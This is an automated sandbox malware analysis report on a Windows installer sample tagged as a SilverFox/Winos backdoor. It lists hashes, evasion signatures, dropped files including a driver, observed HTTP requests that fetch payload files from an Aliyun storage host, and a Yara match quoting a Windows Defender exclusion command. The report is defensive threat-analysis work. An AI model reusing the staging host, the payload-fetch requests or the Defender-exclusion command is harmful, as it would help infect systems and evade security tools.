Create Interactive Tour

Windows Analysis Report
#U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe

Overview

General Information

Sample name:	#U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe renamed because original name is a hash value
Original sample name:	2.0.2.exe
Analysis ID:	1676348
MD5:	9ff4be4b365f1345ff43ee1716f7d0a5
SHA1:	e6142272c3c0f10725cd7e86c0789f5526be224f
SHA256:	784c5ffc7efc37d288ed2590644f5d330958890c0b47174d3368fbe5891062ef
Tags:	backdoorexesilverfoxwinosuser-zhuzhu0009
Infos:

Detection

Score:	96
Range:	0 - 100
Confidence:	100%

Signatures

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Drops PE files to the document folder of the user

Found direct / indirect Syscall (likely to bypass EDR)

Joe Sandbox ML detected suspicious sample

Overwrites code with unconditional jumps - possibly settings hooks in foreign process

PE file contains section with special chars

Sample is not signed and drops a device driver

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to detect virtualization through RDTSC time measurements

AV process strings found (often used to terminate AV products)

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to dynamically determine API calls

Contains functionality to query CPU information (cpuid)

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Creates driver files

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the windows directory (C:\Windows)

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found large amount of non-executed APIs

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains sections with non-standard names

Sample file is different than original file name gathered from version info

Yara signature match

Classification

Process Tree

System is w10x64

#U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe (PID: 6876 cmdline: "C:\Users\user\Desktop\#U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe" MD5: 9FF4BE4B365F1345FF43EE1716F7D0A5)

7YbcLf.exe (PID: 8144 cmdline: C:\Users\user\Documents\7YbcLf.exe MD5: DF76205EAF175184567FC44A83019B20)

cleanup

Yara Signatures

Unpacked PEs

Source	Rule	Description	Author	Strings
12.2.7YbcLf.exe.1ac19270000.1.unpack	INDICATOR_SUSPICIOUS_DisableWinDefender	Detects executables containing artifcats associated with disabling Widnows Defender	ditekSHen	0x213df:$e1: Microsoft\Windows Defender\Exclusions\Paths 0x21492:$e1: Microsoft\Windows Defender\Exclusions\Paths 0x214f0:$e2: Add-MpPreference -ExclusionPath

Joe Sandbox Signatures

• AV Detection
• Compliance
• Spreading
• Networking
• System Summary
• Data Obfuscation
• Persistence and Installation Behavior
• Hooking and other Techniques for Hiding and Protection
• Malware Analysis System Evasion
• Anti Debugging
• HIPS / PFW / Operating System Protection Evasion
• Language, Device and Operating System Detection
• Lowering of HIPS / PFW / Operating System Security Settings

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for dropped file

Source: C:\Windows\Temp\aceprocted.sys

ReversingLabs: Detection: 20%

Multi AV Scanner detection for submitted file

Source: #U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe	Virustotal: Detection: 29%			Perma Link
Source: #U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe	ReversingLabs: Detection: 36%

Joe Sandbox ML detected suspicious sample

Source: Submited Sample

Neural Call Log Analysis: 83.6%

Source: unknown

HTTPS traffic detected: 59.110.190.23:443 -> 192.168.2.6:49694 version: TLS 1.2

Source:	Binary string: C:\new-builder\SAC-10.9-dev\master\SAC\Solutions\x64\Release\ManageReaders.pdb source: 7YbcLf.exe, 0000000C.00000002.2365599709.00007FF752D21000.00000002.00000001.01000000.0000000A.sdmp, 7YbcLf.exe, 0000000C.00000000.2350217410.00007FF752D21000.00000002.00000001.01000000.0000000A.sdmp, 7YbcLf.exe.0.dr
Source:	Binary string: d:\proj_20170606_bg_lenovo_rec_disabledolby\20170606_modify\_ma4_release\x64\RAVBg64.pdb source: #U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe
Source:	Binary string: C:\Users\CES_AutoBuild\AppData\Local\Jenkins\.jenkins\workspace\CES20 PDR22 GM2\src\CES_CacheAgent\CES_CacheAgent\x64\Release\bin\CES_CacheAgent.pdb source: #U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe
Source:	Binary string: c:\tools_git_priv\truesight\driver\objfre_win7_amd64\amd64\TrueSight.pdb source: aceprocted.sys.0.dr

Source: C:\Users\user\Documents\7YbcLf.exe

Code function: 12_2_00007FF752D19AE0 _invalid_parameter_noinfo,FindFirstFileExW,FindNextFileW,FindClose,FindClose,

12_2_00007FF752D19AE0

Source: Joe Sandbox View

IP Address: 59.110.190.23 59.110.190.23

Source: Joe Sandbox View

JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: unknown

UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /i.dat HTTP/1.1User-Agent: 3MHost: 4p2o8p.oss-cn-beijing.aliyuncs.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /a.gif HTTP/1.1User-Agent: 3MHost: 4p2o8p.oss-cn-beijing.aliyuncs.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /b.gif HTTP/1.1User-Agent: 3MHost: 4p2o8p.oss-cn-beijing.aliyuncs.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /c.gif HTTP/1.1User-Agent: 3MHost: 4p2o8p.oss-cn-beijing.aliyuncs.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /d.gif HTTP/1.1User-Agent: 3MHost: 4p2o8p.oss-cn-beijing.aliyuncs.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /s.dat HTTP/1.1User-Agent: 3MHost: 4p2o8p.oss-cn-beijing.aliyuncs.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /s.jpg HTTP/1.1User-Agent: 3MHost: 4p2o8p.oss-cn-beijing.aliyuncs.comCache-Control: no-cache

Source: global traffic

DNS traffic detected: DNS query: 4p2o8p.oss-cn-beijing.aliyuncs.com

Source: #U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe	String found in binary or memory: http://beautifulchristmas.net
Source: #U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDCA-1.crt0
Source: #U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: #U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: #U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe	String found in binary or memory: http://cacerts.digicert.com/DigiCertEVCodeSigningCA.crt0
Source: aceprocted.sys.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertHighAssuranceCodeSigningCA-1.crt0
Source: #U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe, aceprocted.sys.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertHighAssuranceEVRootCA.crt0
Source: #U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe, 7YbcLf.exe.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crt0
Source: #U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: #U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe, 7YbcLf.exe.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: #U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe	String found in binary or memory: http://clownfish-translator.com/voicechanger/
Source: 7YbcLf.exe.0.dr	String found in binary or memory: http://crl.sectigo.com/SectigoRSATimeStampingCA.crl0t
Source: aceprocted.sys.0.dr	String found in binary or memory: http://crl.thawte.com/ThawteTimestampingCA.crl0
Source: #U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDCA-1.crl08
Source: #U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: #U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: #U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe, aceprocted.sys.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertHighAssuranceEVRootCA.crl0
Source: #U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe, 7YbcLf.exe.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0S
Source: #U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: #U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe, 7YbcLf.exe.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: #U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe	String found in binary or memory: http://crl3.digicert.com/EVCodeSigning-g1.crl03
Source: aceprocted.sys.0.dr	String found in binary or memory: http://crl3.digicert.com/ha-cs-2011a.crl0.
Source: #U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDCA-1.crl0w
Source: #U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: #U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe, aceprocted.sys.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertHighAssuranceEVRootCA.crl0
Source: #U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe, 7YbcLf.exe.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0
Source: #U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe	String found in binary or memory: http://crl4.digicert.com/EVCodeSigning-g1.crl0K
Source: aceprocted.sys.0.dr	String found in binary or memory: http://crl4.digicert.com/ha-cs-2011a.crl0L
Source: 7YbcLf.exe.0.dr	String found in binary or memory: http://crt.sectigo.com/SectigoRSATimeStampingCA.crt0#
Source: #U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe	String found in binary or memory: http://ns.useplus.org/ldf/xmp/1.0/
Source: #U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe	String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: #U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe, 7YbcLf.exe.0.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: #U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe, 7YbcLf.exe.0.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: #U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe	String found in binary or memory: http://ocsp.digicert.com0C
Source: #U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe, aceprocted.sys.0.dr	String found in binary or memory: http://ocsp.digicert.com0I
Source: aceprocted.sys.0.dr	String found in binary or memory: http://ocsp.digicert.com0P
Source: #U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe	String found in binary or memory: http://ocsp.digicert.com0X
Source: 7YbcLf.exe.0.dr	String found in binary or memory: http://ocsp.sectigo.com0
Source: aceprocted.sys.0.dr	String found in binary or memory: http://ocsp.thawte.com0
Source: aceprocted.sys.0.dr	String found in binary or memory: http://ts-aia.ws.symantec.com/tss-ca-g2.cer0
Source: aceprocted.sys.0.dr	String found in binary or memory: http://ts-crl.ws.symantec.com/tss-ca-g2.crl0(
Source: aceprocted.sys.0.dr	String found in binary or memory: http://ts-ocsp.ws.symantec.com07
Source: #U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe	String found in binary or memory: http://www.campio-group.com/)
Source: #U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe	String found in binary or memory: http://www.candlewoodsuites.com/montrea)
Source: #U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe	String found in binary or memory: http://www.capebretonresorts.com/)
Source: #U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe	String found in binary or memory: http://www.centuryamadeus.com/)
Source: #U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe	String found in binary or memory: http://www.cesdistribution.com/)
Source: #U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe	String found in binary or memory: http://www.chocolatelakehotel.com/)
Source: #U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe	String found in binary or memory: http://www.cocacola.ca/)
Source: #U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe	String found in binary or memory: http://www.corporate.nestle.ca/en)
Source: #U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe	String found in binary or memory: http://www.crowneplaza.com/fredericton/corwneplaza)
Source: #U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe	String found in binary or memory: http://www.crowneplaza.com/moncton/crowneplaza)
Source: #U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe, 7YbcLf.exe.0.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: #U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe, aceprocted.sys.0.dr	String found in binary or memory: http://www.digicert.com/ssl-cps-repository.htm0
Source: #U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe	String found in binary or memory: http://www.dine-art.com/)
Source: #U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe	String found in binary or memory: http://www.eastlink.ca/)
Source: #U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe	String found in binary or memory: http://www.embassysuites3.hilton.com/)
Source: #U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe	String found in binary or memory: http://www.emhlaw.com/)
Source: #U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe	String found in binary or memory: http://www.gfscanada.com/)
Source: #U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe	String found in binary or memory: http://www.gktw.org/)
Source: #U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe	String found in binary or memory: http://www.guestsupply.ca/)
Source: #U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe	String found in binary or memory: http://www.hamptoninntruro.com/)
Source: #U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe	String found in binary or memory: http://www.hiexpress.com/DeerLake/HIExpress)
Source: #U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe	String found in binary or memory: http://www.holidayinn.com/truro)
Source: #U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe	String found in binary or memory: http://www.hotelfaubourgmontreal.com/)
Source: #U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe	String found in binary or memory: http://www.ihg.com/canada)
Source: #U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe	String found in binary or memory: http://www.innosetup.com/
Source: #U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe	String found in binary or memory: http://www.irvingenergy.ca/)
Source: #U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe	String found in binary or memory: http://www.jeffalpaugh.com/)
Source: #U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe	String found in binary or memory: http://www.kingswoodpark.ca/)
Source: #U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe	String found in binary or memory: http://www.kingswoodpark.ca/golf)
Source: #U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe	String found in binary or memory: http://www.macinteriordesign.com/)
Source: #U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe	String found in binary or memory: http://www.meublesjlm.com/)
Source: #U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe	String found in binary or memory: http://www.mohawkgroup.com/durkan)
Source: #U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe	String found in binary or memory: http://www.mohawkgroup.com/segments/hospitality)
Source: #U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe	String found in binary or memory: http://www.mountainviewsuites.ca/)
Source: #U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe	String found in binary or memory: http://www.radisson.com/fredericton-nb)
Source: #U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe	String found in binary or memory: http://www.radissonhotelgroup.com/)
Source: #U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe	String found in binary or memory: http://www.remobjects.com/ps
Source: #U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe	String found in binary or memory: http://www.renwil.com/)
Source: #U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe	String found in binary or memory: http://www.rogers.com/)
Source: #U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe	String found in binary or memory: http://www.samsung.com/business)
Source: #U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe	String found in binary or memory: http://www.samsung.com/ca)
Source: #U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe	String found in binary or memory: http://www.simmonscanada.com/)
Source: #U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe	String found in binary or memory: http://www.super8amherst.com/)
Source: #U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe	String found in binary or memory: http://www.textilespatlin.com/)
Source: #U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe	String found in binary or memory: http://www.vatransport.com/)
Source: #U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe	String found in binary or memory: http://www.xmlspy.com)
Source: #U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe, 00000000.00000003.2064977246.0000000000510000.00000004.00000020.00020000.00000000.sdmp, #U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe, 00000000.00000003.2064977246.00000000004E8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://4p2o8p.oss-cn-beijing.aliyuncs.com/
Source: #U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe, 00000000.00000003.2064977246.0000000000510000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://4p2o8p.oss-cn-beijing.aliyuncs.com/a.gif
Source: #U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe, 00000000.00000003.2064977246.0000000000510000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://4p2o8p.oss-cn-beijing.aliyuncs.com/a.gifhttps://4p2o8p.oss-cn-beijing.aliyuncs.com/b.gifhttp
Source: #U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe, 00000000.00000003.2064977246.0000000000510000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://4p2o8p.oss-cn-beijing.aliyuncs.com/a.gifjing.aliyuncs.com/
Source: #U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe, 00000000.00000003.2064977246.0000000000510000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://4p2o8p.oss-cn-beijing.aliyuncs.com/a.gifts
Source: #U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe, 00000000.00000003.2064977246.0000000000510000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://4p2o8p.oss-cn-beijing.aliyuncs.com/b.gif
Source: #U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe, 00000000.00000003.2064977246.0000000000510000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://4p2o8p.oss-cn-beijing.aliyuncs.com/c.gif
Source: #U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe, 00000000.00000003.2064977246.0000000000510000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://4p2o8p.oss-cn-beijing.aliyuncs.com/d.gif
Source: 7YbcLf.exe.0.dr	String found in binary or memory: https://sectigo.com/CPS0
Source: #U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe, aceprocted.sys.0.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: #U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe	String found in binary or memory: https://www.shutterstock.com/image-photo/1927736147?utm_source=iptc&utm_medium=googleimages&
Source: #U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe	String found in binary or memory: https://www.shutterstock.com/image-photo/1937165329?utm_source=iptc&utm_medium=googleimages&
Source: #U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe	String found in binary or memory: https://www.shutterstock.com/image-photo/1995742220?utm_source=iptc&utm_medium=googleimages&
Source: #U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe	String found in binary or memory: https://www.shutterstock.com/license?utm_source=iptc&utm_medium=googleimages&utm_campaign=we
Source: #U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe	String found in binary or memory: https://youtu.be/sDsXDjXYycQ)

Source: unknown	Network traffic detected: HTTP traffic on port 49698 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49700
Source: unknown	Network traffic detected: HTTP traffic on port 49699 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49699
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49698
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49697
Source: unknown	Network traffic detected: HTTP traffic on port 49695 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49696
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49695
Source: unknown	Network traffic detected: HTTP traffic on port 49694 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49694
Source: unknown	Network traffic detected: HTTP traffic on port 49696 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49697 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49700 -> 443

Source: unknown

HTTPS traffic detected: 59.110.190.23:443 -> 192.168.2.6:49694 version: TLS 1.2

System Summary

Malicious sample detected (through community Yara rule)

Source: 12.2.7YbcLf.exe.1ac19270000.1.unpack, type: UNPACKEDPE

Matched rule: Detects executables containing artifcats associated with disabling Widnows Defender Author: ditekSHen

PE file contains section with special chars

Source: eToken.dll.0.dr	Static PE information: section name: .QO
Source: eToken.dll.0.dr	Static PE information: section name: .{,3

Source: C:\Users\user\Documents\7YbcLf.exe

Code function: 12_2_00007FF752D13CA9 NtAllocateVirtualMemory,

12_2_00007FF752D13CA9

Source: C:\Users\user\Desktop\#U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe

File created: C:\Windows\Temp\aceprocted.sys

Jump to behavior

Source: C:\Users\user\Documents\7YbcLf.exe	Code function: 12_2_00007FF752D1F908	12_2_00007FF752D1F908
Source: C:\Users\user\Documents\7YbcLf.exe	Code function: 12_2_00007FF752D1190C	12_2_00007FF752D1190C
Source: C:\Users\user\Documents\7YbcLf.exe	Code function: 12_2_00007FF752D18178	12_2_00007FF752D18178
Source: C:\Users\user\Documents\7YbcLf.exe	Code function: 12_2_00007FF752D19AE0	12_2_00007FF752D19AE0

Source: Joe Sandbox View

Dropped File: C:\Users\user\Documents\7YbcLf.exe A6123E13E12A1A1D4C4A4EB034769BFE8E229C3A9877E0DD173B422E700A26AC

Source: #U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe, 00000000.00000000.1194668308.0000000140039000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameCES_CacheAgent.exeJ vs #U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe
Source: #U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe	Binary or memory string: OriginalFilenameCES_CacheAgent.exeJ vs #U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe
Source: #U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe	Binary or memory string: OriginalFilenameRtHDVBgProc.exeX vs #U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe
Source: #U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe	Binary or memory string: OriginalFilenameVoiceChanger64.exe\ vs #U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe
Source: #U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe	Binary or memory string: OriginalFilenamesystem.data.dllT vs #U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe
Source: #U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe	Binary or memory string: OriginalFilenameshfolder.dll~/ vs #U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe

Source: 12.2.7YbcLf.exe.1ac19270000.1.unpack, type: UNPACKEDPE

Matched rule: INDICATOR_SUSPICIOUS_DisableWinDefender author = ditekSHen, description = Detects executables containing artifcats associated with disabling Widnows Defender

Source: aceprocted.sys.0.dr	Binary string: \Device\Driver\
Source: aceprocted.sys.0.dr	Binary string: \Device\TrueSight

Source: classification engine

Classification label: mal96.evad.winEXE@2/13@1/1

Source: C:\Users\user\Desktop\#U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\i[1].dat

Jump to behavior

Source: C:\Users\user\Desktop\#U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe

Mutant created: \Sessions\1\BaseNamedObjects\26f3475fc22

Source: C:\Users\user\Desktop\#U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe

File created: C:\Windows\Temp\aceprocted.sys

Jump to behavior

Source: #U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\#U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: #U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe	Virustotal: Detection: 29%
Source: #U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe	ReversingLabs: Detection: 36%

